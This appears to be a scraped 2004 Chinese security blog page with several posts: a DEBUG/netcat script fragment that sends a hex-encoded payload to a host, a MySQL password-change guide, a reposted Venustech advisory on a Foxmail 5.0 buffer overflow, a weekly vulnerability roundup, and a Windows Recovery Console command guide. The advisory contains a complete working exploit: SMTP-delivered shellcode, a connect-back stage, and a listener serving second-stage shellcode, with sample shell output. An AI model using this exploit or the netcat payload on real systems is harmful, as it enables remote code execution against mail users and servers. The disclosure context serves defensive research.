    e 23B 88 01 8E 03 50 DB E0 F6 50 6A FB 60 C4 88 88 88
    e 24B 01 CE 80 DB E0 06 C6 86 64 60 B6 88 88 88 01 CE
    e 25B 8C E0 BB BA 88 88 E0 DD DB CD DA DC 77 58 01 CE
    e 26B 84 03 50 DB E0 07 6E AC DF 60 96 88 88 88 01 CE
    e 27B 98 77 DE 98 77 DE 80 DE EC 29 B8 88 88 88 03 C8
    e 28B 84 03 F8 94 25 03 C8 80 D6 4A 8C 88 DB DD DE DF
    e 29B 03 E4 AC 90 03 CD B4 03 DC 8D F0 8B 5D 03 C2 90
    e 2AB 03 D2 A8 8B 55 6B BA C1 03 BC 03 8B 7D BB 77 74
    e 2BB BB 48 24 B2 4C FC 8F 49 47 85 8B 70 63 7A B3 F4
    e 2CB AC 9C FD 69 03 D2 AC 8B 55 EE 03 84 C3 03 D2 94
    e 2DB 8B 55 03 8C 03 8B 4D 63 8A BB 48 03 5D D7 D6 D5
    e 2EB D3 4A 80 88 60 CA 77 77 77 49 43 45 21 0D 0A 0D
    E 2FB 0A 00
    rcx
    1FC
    nhttp.tmp
    w
    q


    :run
    nc %1 80 < http.tmp
    del http.tmp

    Posted by vitter at 2004-05-20 12:37:41 | 评论 (0)

    May 19, 2004

    服务器又挂了:(

    今天服务器又挂了,好在又修好了。
    这个老大居然不知道怎么改Mysql的密码,很简单嘛,
    mysqladmin -u root -p password newpasswd
    现在总结给他:

    MySQL修改密码方法总结

    首先要声明一点,大部分情况下,修改MySQL是需要有mysql里的root权限的,
    所以一般用户无法更改密码,除非请求管理员。

    方法一
    使用phpmyadmin,这是最简单的了,修改mysql库的user表,
    不过别忘了使用PASSWORD函数。

    方法二
    使用mysqladmin,这是前面声明的一个特例。
    mysqladmin -u root -p password mypasswd
    输入这个命令后,需要输入root的原密码,然后root的密码将改为mypasswd。
    把命令里的root改为你的用户名,你就可以改你自己的密码了。
    当然如果你的mysqladmin连接不上mysql server,或者你没有办法执行mysqladmin,
    那么这种方法就是无效的。
    而且mysqladmin无法把密码清空。

    下面的方法都在mysql提示符下使用,且必须有mysql的root权限:
    方法三
    mysql> INSERT INTO mysql.user (Host,User,Password)
    VALUES('%','jeffrey',PASSWORD('biscuit'));
    mysql> FLUSH PRIVILEGES
    确切地说这是在增加一个用户,用户名为jeffrey,密码为biscuit。
    在《mysql中文参考手册》里有这个例子,所以我也就写出来了。
    注意要使用PASSWORD函数,然后还要使用FLUSH PRIVILEGES。

    方法四
    和方法三一样,只是使用了REPLACE语句
    mysql> REPLACE INTO mysql.user (Host,User,Password)
    VALUES('%','jeffrey',PASSWORD('biscuit'));
    mysql> FLUSH PRIVILEGES

    方法五
    使用SET PASSWORD语句,
    mysql> SET PASSWORD FOR jeffrey@"%" = PASSWORD('biscuit');
    你也必须使用PASSWORD()函数,
    但是不需要使用FLUSH PRIVILEGES。

    方法六
    使用GRANT ... IDENTIFIED BY语句
    mysql> GRANT USAGE ON *.* TO jeffrey@"%" IDENTIFIED BY 'biscuit';
    这里PASSWORD()函数是不必要的,也不需要使用FLUSH PRIVILEGES。

    注意: PASSWORD() [不是]以在Unix口令加密的同样方法施行口令加密。

    Posted by vitter at 2004-05-19 18:35:38 | 评论 (0)

    May 18, 2004

    Foxmail 5.0 Punylib.dll Email Header Parsing Buffer Overflow

    Venustech AD-Lab
    www.venustech.com.cn

    [Security Advisory]

    Advisory: Foxmail 5.0 Punylib.dll Email Header Parsing Buffer Overflow
    Authors: Venustech AD-Lab
    Release: 03/15/04
    Class: Boundary Condition Error
    Remote: Yes, could allow remote compromise

    Vulnerable: Foxmail 5.0 beta1
    Foxmail 5.0 beta2
    Foxmail 5.0
    Unvulnerable: Foxmail 4.0
    Vendor: www.foxmail.com.cn

    Venustech AD-Lab
    www.venustech.com.cn

    [Security Advisory]

    Advisory: Foxmail 5.0 Punylib.dll Email Header Parsing Buffer Overflow
    Authors: Venustech AD-Lab
    Release: 03/15/04
    Class: Boundary Condition Error
    Remote: Yes, could allow remote compromise

    Vulnerable: Foxmail 5.0 beta1
    Foxmail 5.0 beta2
    Foxmail 5.0
    Unvulnerable: Foxmail 4.0
    Vendor: www.foxmail.com.cn


    Info:
    -----

    Foxmail is one of the most popular Internet email client, especially in China, more than 3 million
    people are using Foxmail to handle their email everyday, and the English version is also widely
    used in more than 20 countries. Main Features: Remote mail management, Local mailbox with encryption
    feature and address book , Hotmail proxy to receive email from Hotmail as POP3 server, Compose HTML
    format email with WYSWYG, and read HTML email, Support multiple accounts, each account with
    independent setting, Import/Export mails from/to Microsoft Outlook, Exchange, Mail-Express Service
    (email is delivered to the destination’s mailbox directly without any SMTP server relaying), HTML/Text
    email templates, full customizable, Rolling bar for new coming emails, Automatic email address typing
    completion.(Cut from www.foxmail.org)

    Details:
    --------

    We have found several buffer overflows in Foxmail5.0 which not exist in Foxmail4.0, with more deep
    analysis we found that in this new version of Foxmail uses a new DLL named Punylib.dll in 3rdParty
    directory to parse the email header, when it parsing mail headers has a buffer overflow.
    This flaw can be used by remote attackers to crash it or to execute arbitrary code with the
    permissions of the user running Foxmail.

    It seems as if this DLL haven't do any length check here, but in fact, Punny.dll have checked the email
    header length we supplied, if the length of the email header bigger than 0x200 bytes or is a negative size
    it will be reture a error(-2), but something funny here, it just allocate 260 bytes and do a strncpy like
    operation and this cause totally buffer overflow and then overwrite the return address.


    POC:
    ----

    /* vfoxmail_v1.c - FoxMail 5.0 PunyLib.dll Remote Buffer Overflow exploit
    *
    * Copyright (c) VENUSTECH INFORMATION TECHNOLOGY CO.,LTD.
    * All rights reserved.
    *
    * Private Code, DO NOT distribute
    *
    * bug found by icbm
    *
    * code by Sam 2003/10/14
    *
    *
    * Revise History:
    * 2004/03/07 change new shellcode
    *
    * Compile: gcc -o vfoxmail vfoxmail.c
    * Test: windows 2000/XP SP0/SP1/SP2/SP3/SP4
    *
    * how works?
    * [root@RHAS vfoxmail]# ./vf 192.168.0.2 chen_xiaobo@venus.com 192.168.10.138 5571 1
    * FoxMail 5.0 PunyLib.dll Remote Buffer Overflow exploit by Sam (Sam#0x557.org)
    *
    * [*] use smtp server: 192.168.0.2
    * [*] attack E-mail address: chen_xiaobo@venus.com
    * [*] shellcode server address: 192.168.10.138
    * [*] shellcode server port: 5571
    * [*] remote targets guess Windows XP CN/EN ALL VERSION
    * # smtp authentication .
    * # send evil E-mail .
    * # waiting client receive mail.
    *
    * [root@RHAS vfoxmail]# ./accept
    * Connect form: 192.168.10.125:1117
    * send true shellcode.
    * done.
    * [root@RHAS vfoxmail]# telnet 192.168.10.125 19800
    * Trying 192.168.10.125...
    * Connected to 192.168.10.125 (192.168.10.125).
    * Escape character is '^]'.
    * Microsoft Windows XP [Version 5.1.2600]
    * (C) Copyright 1985-2001 Microsoft Corp.
    *
    * [Sam Chen@SAM C:\Program Files\network tools\Foxmail]#net user
    * net user
    *
    * User accounts for \\SAM
    *
    * -------------------------------------------------------------------------------
    * __vmware_user__ Administrator ASPNET
    * Guest HelpAssistant Sam Chen
    * SQLDebugger SUPPORT_388945a0 VUSR_SAM
    * The command completed successfully.
    *
    *
    * [Sam Chen@SAM C:\Program Files\network tools\Foxmail]#
    *
    * some thanks/greets to:
    * icbm -> he find this bug.
    * airsupply -> to change the new shellcode.
    * and everyone else who's KNOW SST ;P
    *
    * http://0x557.org
    * http://www.venustech.com.cn
    * 2003/10/14
    * Venus Active Defence Research Center
    *
    */

    #include
    #include
    #include
    #include
    #include
    #include
    #include
    #include
    #include
    #include
    #include
    #include
    #include
    #include


    #define MAX_NUM 2
    #define clear(p) bzero (p, sizeof (p));


    // connect + read sc use addr of Foxmail.exe module
    unsigned char newcode[] =
    "\xEB\x0E\x5B\x4B\x33\xC9\xB1\x51\x80\x34\x0B\x99\xE2\xFA\xEB\x05"
    "\xE8\xED\xFF\xFF\xFF"

    "\x18\x75\x09\x98\x99\x99\xCD\xF1\x98\x98\x99\x99\x27\xF8\x99\x42"
    "\xC4\x58\x77\x91\x66\x8F\xAA\x66\xCE\xCE\xCE\xCE\xDE\xCE\xDE\xCE"
    "\x66\xCF\x85\x12\x41\xF1\x59\x31\x98\x45\xF1\x9B\x99\x8C\x5B\x12"
    "\x55\xF3\x89\xC8\xCA\x66\xCF\xDD\x1C\x59\xEC\x70\xAA\x59\x18\x5E"
    "\x67\x96\x99\x99\xB2\x7E\x12\x75\xC9\xCE\xCC\xCA\x66\xCF\xB5\x66"
    "\x7D";


    struct archs {
    char *desc;
    unsigned int jmpaddr; /* real shellcode address */
    unsigned char *shellcode;
    unsigned int len;

    }architectures[] = {

    {
    "Windows 2000 CN ALL VERSION",
    0x0012e4a0,
    newcode,
    sizeof (newcode) - 1

    },
    {
    "Windows XP CN/EN ALL VERSION",
    0x0012ee68,
    newcode,
    sizeof (newcode) - 1

    },
    {
    "TEST",
    0x11223344,
    newcode,
    sizeof (newcode) - 1

    }
    };


    unsigned int id = 0;
    unsigned short port = 0;
    char *smtpaddr = NULL, *shellHost = NULL;

    /* new:
    * tcp connect with no block socket, host to ip.
    * millisecond timeout, it's will be fast.
    * ;D
    * 2003/06/23 add by Sam
    */
    int new_tcpConnect (char *host, unsigned int port, unsigned int timeout)
    {
    int sock,
    flag,
    pe = 0;
    size_t pe_len;
    struct timeval tv;
    struct sockaddr_in addr;
    struct hostent* hp = NULL;
    fd_set rset;

    // reslov hosts
    hp = gethostbyname (host);
    if (NULL == hp) {
    perror ("tcpConnect:gethostbyname\n");
    return -1;
    }

    sock = socket (AF_INET, SOCK_STREAM, 0);
    if (-1 == sock) {
    perror ("tcpConnect:socket\n");
    return -1;
    }

    addr.sin_addr = *(struct in_addr *) hp->h_addr;
    addr.sin_family = AF_INET;
    addr.sin_port = htons (port);

    /* set socket no block
    */
    flag = fcntl (sock, F_GETFL);
    if (-1 == flag) {
    perror ("tcpConnect:fcntl\n");
    close (sock);
    return -1;
    }

    flag |= O_NONBLOCK;
    if (fcntl (sock, F_SETFL, flag) < 0) {
    perror ("tcpConnect:fcntl\n");
    close (sock);
    return -1;
    }

    if (connect (sock, (const struct sockaddr *) &addr,
    sizeof(addr)) < 0 &&
    errno != EINPROGRESS) {
    perror ("tcpConnect:connect\n");
    close (sock);
    return -1;
    }

    /* set connect timeout
    * use millisecond
    */
    tv.tv_sec = timeout/1000;
    tv.tv_usec = timeout%1000;

    FD_ZERO (&rset);
    FD_SET (sock, &rset);

    if (select (sock+1, &rset, &rset, NULL, &tv) <= 0) {
    // perror ("tcpConnect:select");
    close (sock);
    return -1;
    }

    pe_len = sizeof (pe);

    if (getsockopt (sock, SOL_SOCKET, SO_ERROR, &pe, &pe_len) < 0) {
    perror ("tcpConnect:getsockopt\n");
    close (sock);
    return -1;
    }

    if (pe != 0) {
    errno = pe;
    close (sock);
    return -1;
    }

    if (fcntl(sock, F_SETFL, flag&~O_NONBLOCK) < 0) {
    perror ("tcpConnect:fcntl\n");
    close (sock);
    return -1;
    }

    pe = 1;
    pe_len = sizeof (pe);

    if (setsockopt (sock, IPPROTO_TCP, TCP_NODELAY, &pe, pe_len) < 0){
    perror ("tcpConnect:setsockopt\n");
    close (sock);
    return -1;
    }

    return sock;
    }

    /* smtp messages
    *
    */
    void replay (int sock, int response)
    {
    char temp[4096];

    clear (temp);
    if (recv (sock, temp, sizeof(temp), 0) <= 0) {
    printf("Error reading from socket\n");
    exit (0);
    }
    if (response != atol (temp)) {
    printf("Bad response: %s\n",temp);
    exit (0);
    }
    }

    /* ceate evil E-mail.
    * and send.
    */
    int send_evilmail (char *mailaddr)
    {
    unsigned long dip;
    unsigned short dport;
    int sock;
    char buffer[1000], temp[4096];

    if ((sock = new_tcpConnect (smtpaddr, 25, 4000)) <= 0) {
    perror ("new_tcpConnect");
    exit (-1);
    }

    fprintf (stderr, "[*] remote targets guess %s \n", architectures[id].desc);
    /* smtp auths */
    fprintf (stderr, "# smtp authentication .\n ");
    replay (sock, 220);
    clear (temp);
    snprintf (temp, sizeof (temp), "HELO foxmail.com\r\n");
    write (sock, temp, strlen (temp));

    replay (sock, 250);
    clear (temp);
    snprintf (temp, sizeof (temp), "MAIL FROM: %s\r\n", mailaddr);
    write (sock, temp, strlen (temp));

    replay (sock, 250);
    clear (temp);
    snprintf (temp, sizeof (temp), "RCPT TO: %s\r\n", mailaddr);
    write (sock, temp, strlen (temp));

    replay (sock, 250);
    clear (temp);
    snprintf (temp, sizeof (temp), "DATA\r\n");
    write (sock, temp, strlen (temp));

    replay (sock, 354);
    fprintf (stderr, "# send evil E-mail . \n");
    clear (temp);
    clear (buffer);

    dport = htons (port)^(u_short)0x9999;
    dip = inet_addr (shellHost)^0x99999999;
    memcpy (&architectures[id].shellcode[64+2], &dport, 2);
    memcpy (&architectures[id].shellcode[57+2], &dip, 4);
    memset (buffer, 0x41, 256);
    memcpy (buffer + 18, architectures[id].shellcode, architectures[id].len);
    *(unsigned int *)&buffer[256] = architectures[id].jmpaddr; //0x42424242;

    snprintf (temp, sizeof (temp), "From: %s\r\n", buffer);

    write (sock, temp, strlen (temp));

    clear (temp);
    snprintf (temp, sizeof (temp), ".\r\nquit\r\n");
    write (sock, temp, strlen (temp));

    fprintf (stderr, "# waiting client receive mail. \n\n");
    close (sock);

    return 0;

    }

    void showHELP (char *p)
    {
    int i;
    fprintf (stderr, "Usage %s [smtp address] \n\n", p);
    fprintf (stderr, "server ip / port: shellcode server's ip address and port\n\n");
    printf ("Targets: \n");
    printf ("num . description\n");
    printf ("----+-----------------------------------------------"
    "--------\n");
    for (i = 0; i <= MAX_NUM; i ++) {
    printf ("%3d | %s\n", i, architectures[i].desc);
    }
    printf (" '\n");
    return;
    }

    int main (int argc, char *argv[])
    {
    char *mail;


    fprintf (stderr, "FoxMail 5.0 PunyLib.dll Remote Buffer Overflow exploit by Sam (Sam#0x557.org)\n\n");
    if (argc != 6) {
    showHELP (argv[0]);
    exit (0);
    }

    smtpaddr = argv[1];
    mail = argv[2];
    shellHost = argv[3];
    port = atoi (argv[4]);
    id = atoi (argv[5]);
    if (id > MAX_NUM || id < 0) {
    printf ("wtf your input");
    exit (0);
    }

    fprintf (stderr, "[*] use smtp server: %s \n", smtpaddr);
    fprintf (stderr, "[*] attack E-mail address: %s \n", mail);
    fprintf (stderr, "[*] shellcode server address: %s \n", shellHost);
    fprintf (stderr, "[*] shellcode server port: %d \n", port);

    send_evilmail (mail);

    return 0;
    }

    /* accept.c by Sam
    * send true shellcode.
    */

    #include
    #include
    #include
    #include
    #include
    #include
    #include
    #include
    #include
    #include
    #include
    #include
    #include
    #include

    /* change to your shellcode */
    char shellcode [] =
    "\xEB\x10\x5B\x4B\x33\xC9\x66\xB9\xd9\x01\x80\x34\x0B\x99\xE2\xFA"
    "\xEB\x05\xE8\xEB\xFF\xFF\xFF\x18\x75\x19\x99\x99\x99\x12\x6D\x71"
    "\xD5\x98\x99\x99\x10\x9F\x66\xAF\xF1\x17\xD7\x97\x75\x71\xFF\x98"
    "\x99\x99\x10\xDF\x91\x66\xAF\xF1\x34\x40\x9C\x57\x71\xCE\x98\x99"
    "\x99\x10\xDF\x95\xF1\xF5\xF5\x99\x99\xF1\xAA\xAB\xB7\xFD\xF1\xEE"
    "\xEA\xAB\xC6\xCD\x66\xCF\x91\x10\xDF\x9D\x66\xAF\xF1\xEB\x67\x2A"
    "\x8F\x71\xAB\x98\x99\x99\x10\xDF\x89\x66\xAF\xF1\xE7\x41\x7B\xEA"
    "\x71\xBA\x98\x99\x99\x10\xDF\x8D\x66\xEF\x9D\xF1\x52\x74\x65\xA2"
    "\x71\x8A\x98\x99\x99\x10\xDF\x81\x66\xEF\x9D\xF1\x40\x90\x6C\x34"
    "\x71\x9A\x98\x99\x99\x10\xDF\x85\x66\xEF\x9D\xF1\x3D\x83\xE9\x5E"
    "\x71\x6A\x99\x99\x99\x10\xDF\xB9\x66\xEF\x9D\xF1\x3D\x34\xB7\x70"
    "\x71\x7A\x99\x99\x99\x10\xDF\xBD\x66\xEF\x9D\xF1\x7C\xD0\x1F\xD0"
    "\x71\x4A\x99\x99\x99\x10\xDF\xB1\x66\xEF\x9D\xF1\x7E\xE0\x5F\xE0"
    "\x71\x5A\x99\x99\x99\x10\xDF\xB5\xAA\x66\x18\x75\x09\x98\x99\x99"
    "\xCD\xF1\x98\x98\x99\x99\x66\xCF\x81\xC9\xC9\xC9\xC9\xD9\xC9\xD9"
    "\xC9\x66\xCF\x85\x12\x41\xCE\xCE\xF1\x9B\x99\xd4\xc1\x12\x55\xF3"
    "\x8F\xC8\xCA\x66\xCF\xB9\xCE\xCA\x66\xCF\xBD\xCE\xC8\xCA\x66\xCF"
    "\xB1\x12\x49\xF1\xFC\xE1\xFC\x99\xF1\xFA\xF4\xFD\xB7\x10\xFF\xA9"
    "\x1A\x75\xCD\x14\xA5\xBD\xAA\x59\xAA\x50\x1A\x58\x8C\x32\x7B\x64"
    "\x5F\xDD\xBD\x89\xDD\x67\xDD\xBD\xA5\x67\xDD\xBD\xA4\x10\xCD\xBD"
    "\xD1\x10\xCD\xBD\xD5\x10\xCD\xBD\xC9\x14\xDD\xBD\x89\xCD\xC9\xC8"
    "\xC8\xC8\xD8\xC8\xD0\xC8\xC8\x66\xEF\xA9\xC8\x66\xCF\x89\x12\x55"
    "\xF3\x66\x66\xA8\x66\xCF\x95\x12\x51\xCE\x66\xCF\xB5\x66\xCF\x8D"
    "\xCC\xCF\xFD\x38\xA9\x99\x99\x99\x1C\x59\xE1\x95\x12\xD9\x95\x12"
    "\xE9\x85\x34\x12\xF1\x91\x72\x90\x12\xD9\xAD\x12\x31\x21\x99\x99"
    "\x99\x12\x5C\xC7\xC4\x5B\x9D\x99\xCA\xCC\xCF\xCE\x12\xF5\xBD\x81"
    "\x12\xDC\xA5\x12\xCD\x9C\xE1\x9A\x4C\x12\xD3\x81\x12\xC3\xB9\x9A"
    "\x44\x7A\xAB\xD0\x12\xAD\x12\x9A\x6C\xAA\x66\x65\xAA\x59\x35\xA3"
    "\x5D\xED\x9E\x58\x56\x94\x9A\x61\x72\x6B\xA2\xE5\xBD\x8D\xEC\x78"
    "\x12\xC3\xBD\x9A\x44\xFF\x12\x95\xD2\x12\xC3\x85\x9A\x44\x12\x9D"
    "\x12\x9A\x5C\x72\x9B\xAA\x59\x12\x4C\xC6\xC7\xC4\xC2\x5B\x9D\x99";


    #define fala(p) perror (p); return -1;

    int listen_port (short port)
    {
    struct sockaddr_in local, remote;
    int s, fd, addrsize;

    local.sin_family = AF_INET;
    local.sin_addr.s_addr = INADDR_ANY;
    local.sin_port = htons (port);

    if ((s = socket (AF_INET, SOCK_STREAM, 0)) == -1)
    {
    printf ("create socket failed.\n");
    fala (socket);
    }

    if (bind (s, (struct sockaddr *)&local, sizeof (local)) != 0)
    {
    printf ("bind socket failed.\n");
    fala (bind);
    }

    if (listen (s, 5) != 0)
    {
    printf ("listen socket failed.\n");
    fala (listen);
    }
    addrsize = sizeof (struct sockaddr_in);

    fd = accept (s, (struct sockaddr *)&remote, &addrsize);

    printf ("Connect form: %s:%d\n", inet_ntoa (remote.sin_addr), ntohs (remote.sin_port));

    return fd;
    }

    int main (void)
    {
    int sk;
    char buffer[4096];

    memset (buffer, 0x90, sizeof (buffer));
    memcpy (buffer + 1000, shellcode, strlen (shellcode));

    sk = listen_port (5571);

    printf ("send true shellcode.\n");
    send (sk, buffer, sizeof (buffer), 0);

    printf ("done. \n");
    return 0;
    }

    Credit:
    -------

    Thanks to icbm#venustech.com.cn who found this bug:), and Sam#0x557.org write the POC code.
    air#0x557.org write the shellcode and the binary patch for it.
    Thanks keji for his COOL debug tools "VDebug", it give us so many advanced features:)
    Thanks to kiki#cert.org.cn to quickly response it and contact with the vendor.
    Thanks to hat#cnnic.cn who fix this bug.

    Disclaims:
    ----------

    The information in this bulletin is provided "AS IS" without warranty of any
    kind. In no event shall we be liable for any damages whatsoever including direct,
    indirect, incidental, consequential, loss of business profits or special damages.

    Copyright 1996-2003 VENUSTECH. All Rights Reserved. Terms of use.

    VENUSTECH Security Lab
    VENUSTECH INFORMATION TECHNOLOGY CO.,LTD(http://www.venustech.com.cn)

             Product
    Trusted Security {Solution} Provider
             Service

    Posted by vitter at 2004-05-18 13:06:54 | 评论 (0)

    May 16, 2004

    上周安全点评(05/16/04)

    本周“震荡波”及“震荡波杀手”蠕虫仍有较大规模传播,请广大用户注意病毒查杀,查杀方法详情请见http://www.cert.org.cn/articles/alert/common/2004050821640.shtml。上周启明星辰公司积极防御实验室对全球黑客动态进行的持续监测中,发现某个国外黑客组织在“震荡波”蠕虫病毒程序中挖掘出了ftpd缓冲区溢出漏洞,并预测会导致新的一轮蠕虫攻击,本周CNCERT/CC监测到该新蠕虫已经出现。自5月13日7:00至5月14日7:00,该蠕虫传播次数约1500次,该蠕虫攻击目标为感染过Worm.Sasser-A、B、C、D、E、F变种蠕虫且没有彻底清除的系统,请广大用户注意防护。
    Windows方面本周微软公布了帮助支持中心的漏洞允许远程代码执行漏洞的公告,关于该漏洞的详细信息请见http://www.cert.org.cn/articles/hole/common/2004051221649.shtml。使用Symantec客户端防火墙的用户请注意,eEye安全小组在该产品中发现多个安全漏洞详情请见http://www.cert.org.cn/articles/hole/common/2004051421656.shtml。

    *nix方面,本周出现多个本地漏洞:
    1。Linux kernel do_fork()系统调用内存泄露漏洞
    Linux包含的do_fork()函数包含一个错误路径,本地攻击者可以利用这个漏洞获得部分内存敏感信息。

    2。netbsd systrace_exit()本地权限提升漏洞
    本地用户通过/dev/systrace可以获得root权限。

    3。OpenBSD proc文件系统整数溢出漏洞,影响OpenBSD3.3 ,3.4
    可导致本地用户读取任意内核空间的内容。

    请用户尽快升级。

    Posted by vitter at 2004-05-16 10:14:58 | 评论 (0)

    May 10, 2004

    Windows故障恢复控制台

    >>1. <<
    月有阴晴圆缺,人有祸福旦夕,是系统就有挂的时候。Win2000挂了,你怎么办?可能你有bluecon,有ERD Commander,有Winresume等等等等,但是可能在极端环境下我们使用更多的还是win2000自带的故障恢复控制台。说道故障恢复控制台,大家多半用的都是它的紧急自动修复过程,这个功能在处理简单的故障,例如系统程序损坏或引导分区丢失等问题上还是不错的,但是对于更多的复杂问题可能还是需要系统管理员们手工解决。在没有其他辅助工具的情况下,我们就尽量发掘一下win2000安装光盘上自带的故障恢复控制台的潜力吧。

    故障恢复控制台最简单的用法,就是使用Windows安装光盘(Windows2000/XP/2003)引导系统。
    使用步骤如下:
    1. 将 Windows 2000 启动盘插入软盘驱动器中,或者将 Windows 2000 CD-ROM 插入
    CD-ROM 驱动器中,然后重新启动计算机;
    2. 按照提示,单击选中从 CD-ROM 驱动器启动计算机所需的任何选项;
    3. 出现“欢迎使用安装程序”屏幕时,按 "R" 键启动故障恢复控制台;
    4. 如果使用的是双启动或多启动计算机,请选择需要从故障恢复控制台访问的系统路径;
    5. 键入管理员密码;如果管理员密码为空,则按 ENTER 键。
    6. 进入故障恢复控制台命令行界面。

    之后就会进入一个受限的命令行界面,在这个命令行界面下,可以使用故障恢复控制台启用和禁用服务、格式化驱动器、读写本地驱动器上的数据,还可以执行许多其他管理任务。可以使用故障恢复控制台将磁盘或 CD-ROM 中的文件复制到硬盘上以修复计算机,或者重新配置使计算机无法正常启动的服务。之所以说它是受限的,因为它并不能提供完整的cmd.exe以及附加命令行程序的功能,而仅仅能够提供有限的对系统核心服务操作的功能。尤其是出于安全考虑,默认情况下是不允许修改,替换,覆盖和引用文件的。就是这个原因也让很多人对这个看似无用的控制台极为反感和头大。至于如何打开这些限制,在后面讲解。

    进入故障恢复控制台后,可以输入 recovery console commands 或 help 察看所有的命令和帮助;有关特定命令的信息,可以使用help commandname察看详细信息和命令参数。
    要退出故障恢复控制台并重新启动计算机,请在命令提示处键入 exit,然后按 ENTER 键。

    在故障恢复控制台中支持的所有命令:
    attrib delete fixboot md type
    cd dir fixmbr mkdir systemroot
    chdir disable format more
    chkdsk diskpart help rd
    cls enable listsvc ren
    copy exit logon rename
    del expand map rmdir



    >>2. <<
    详细的命令功能和参数如下:


    * ATTRIB
    可以使用attrib 命令和下面任何参数更改文件或文件夹的属性:
    -r: 设置只读文件属性
    +r: 重置只读文件属性
    -s: 设置系统文件属性
    +s: 重置系统文件属性
    -h: 设置隐藏文件属性
    +h: 重置隐藏文件属性
    备注: 必须设置或清除至少一个属性。要查看属性,请使用dir 命令。


    * BATCH
    batch inputfile [outputfile]
    可以使用此命令运行文本文件中指定的命令。在命令语法中,inputfile 指定包含要运行的命令列表的文本文件,outputfile 指定包含指定命令的输出的文件。如果不指定输出文件,将在屏幕上显示输出。


    * CD 和 CHDIR
    可以使用cd 和chdir 命令更改文件夹。键入 cd .. 说明您要转到父文件夹。键入 cd drive:以显示指定驱动器中的当前文件夹。键入不带参数的命令以显示当前驱动器和文件夹。
    chdir 命令将空格作为分隔符处理。因此,必须用引号将包含空格的子文件夹名引起来,例如:
    cd "\winnt\profiles\username\programs\start menu"

    chdir 命令的操作范围仅限于当前 Windows 安装的系统文件夹、可移动媒体、所有硬盘分区的根文件夹或本地安装源。


    * CHKDSK
    chkdsk drive /p /r

    此命令(其中,drive 指定要检查的驱动器)检查驱动器并在必要时修复或恢复该驱动器。此命令还标记损坏的扇区并恢复可读信息。

    /p 开关指示 Chkdsk 工具对驱动器执行详尽的检查(即使没有将驱动器标记为有问题也是如此),并纠正所发现的任何错误。/r 开关查找损坏的扇区并恢复可读信息。注意,如果指定/r 开关,则暗示包含 /p 开关。可以指定不带参数的 chkdsk 命令,在这种情况下,暗示当前驱动器不带任何开关。不必按顺序接受列出的开关。chkdsk 命令需要 Autochk.exe 文件。Chkdsk 自动在启动文件夹中查找此文件。通常,如果预先安装了命令控制台,则该文件夹为 Cmdcons 文件夹。如果在启动文件夹中找不到该文件夹,Chkdsk 就会尝试查找 Windows CD-ROM 安装媒体。如果找不到安装媒体,Chkdsk 将提示您提供 Autochk.exe 文件的位置。


    * CLS
    可以使用此命令清除屏幕内容。


    * COPY
    copy source destination

    可以使用此命令(其中,source 指定要复制的文件,destination 指定新文件的文件夹或文件名)复制文件。不允许使用通配符或进行文件夹复制。在复制 Windows CD-ROM 中的压缩文件时,将自动解压缩该文件。

    如果没有指定 destination,此命令默认为当前文件夹。如果该文件已经存在,系统将提示您覆盖它。


    * DEL 和 DELETE
    del drive:path filename

    delete drive:path filename

    可以使用此命令(其中,drive:path filename 指定要删除的文件)删除文件。

    delete 命令的操作范围仅限于当前 Windows 安装的系统文件夹、可移动媒体、所有硬盘分区的根文件夹或本地安装源。delete 命令不接受通配符 (*)。


    * DIR
    dir drive:path filename

    可以使用此命令(其中,drive:path filename 指定要列出的驱动器、文件夹和文件)显示文件夹中文件和子文件夹的列表。dir 命令列出所有文件,包括隐藏文件和系统文件。文件可能具有以下属性:

    D - Directory R - Read-only file
    H - Hidden file A - Files ready for archiving
    S - System file C - Compressed
    E - Encrypted P - Reparse Point

    dir 命令的操作范围仅限于当前 Windows 安装的系统文件夹、可移动媒体、所有硬盘分区的根文件夹或本地安装源。


    ** DISABLE
    disable servicename

    可以使用此命令(其中,servicename 指定要禁用的服务或驱动程序的名称)禁用 Windows 系统服务或驱动程序。

    可以使用listsvc 命令显示所有要禁用的适当服务或驱动程序。disable 命令打印在将服务重置为 SERVICE_DISABLED 之前该服务的旧启动类型。因此,您应当将旧的启动类型记录下来,以便在必要时重新启用该服务。

    可以使用disable 命令显示以下启动类型值:
    SERVICE_DISABLED
    SERVICE_BOOT_START
    SERVICE_SYSTEM_START
    SERVICE_AUTO_START
    SERVICE_DEMAND_START


    ** DISKPART
    diskpart /add /delete device_name drive_name partition_name size

    可以使用此命令管理硬盘卷上的分区。
    /add: 可以使用此参数创建新的分区。
    /delete: 可以使用此参数删除现有的分区。
    device_name: 可以使用此参数指定创建新分区所使用的设备名。可以从 map 命令的输出中找到该名称,例如:\Device\HardDisk0。
    drive_name: 可以使用此参数指定删除现有分区所使用的基于驱动器号的名称,例如D:
    partition_name: 可以使用此参数指定删除现有分区所使用的基于分区的名称。可以使用此参数代替驱动器名称参数,例如:\Device\HardDisk0\Partition1。
    size: 可以使用此参数指定新分区的大小 (MB)。
    备注: 如果不使用参数,则显示用来管理分区的用户界面。

    警告: 如果磁盘已经升级到动态磁盘配置,那么此命令可能会损坏分区表。除非使用磁盘管理工具,否则不要修改动态磁盘的结构。


    ** ENABLE
    enable servicename start_type

    您可以使用enable 命令(其中,servicename 指定要启用的服务或驱动程序的名称)启用 Windows 系统服务或驱动程序。

    可以使用listsvc 命令显示所有要启用的适当服务或驱动程序。enable 命令打印在将服务重置为新值之前该服务的旧启动类型。您应当将旧的值记录下来,以便在必要时还原该服务的启动类型。以下启动类型是有效的:
    SERVICE_BOOT_START
    SERVICE_SYSTEM_START
    SERVICE_AUTO_START
    SERVICE_DEMAND_START


    备注: 如果没有指定新的启动类型,则 enable 命令打印旧的启动类型。


    * EXIT
    可以使用exit 命令退出命令控制台,并重新启动计算机。


    ** EXPAND
    expand source [/F:filespec] [destination] [/y]

    expand source [/f:filespec] /d

    可以使用此命令(其中,source 指定要展开的文件的名称,destination 指定新文件的文件夹)展开文件。

    备注: 不能包含通配符。
    如果没有指定 destination,则该命令默认使用当前的文件夹。

    该命令可以使用以下参数:
    /y: 如果不希望系统在覆盖现有文件之前提示您,则使用此参数。
    /f:filespec: 如果源包含多个文件,则使用此参数。需要使用此参数指定要展开的特定文件。可以包含通配符。
    /d: 如果不想展开文件夹,则使用此参数;它只显示源中包含的文件的文件夹。
    目标可以是当前 Windows 安装的系统文件夹中、驱动器的根中、本地安装源中或者 Cmdcons 文件夹中的任何文件夹。目标不能是可移动媒体。目标文件不能是只读文件。可以使用attrib 命令删除只读属性。

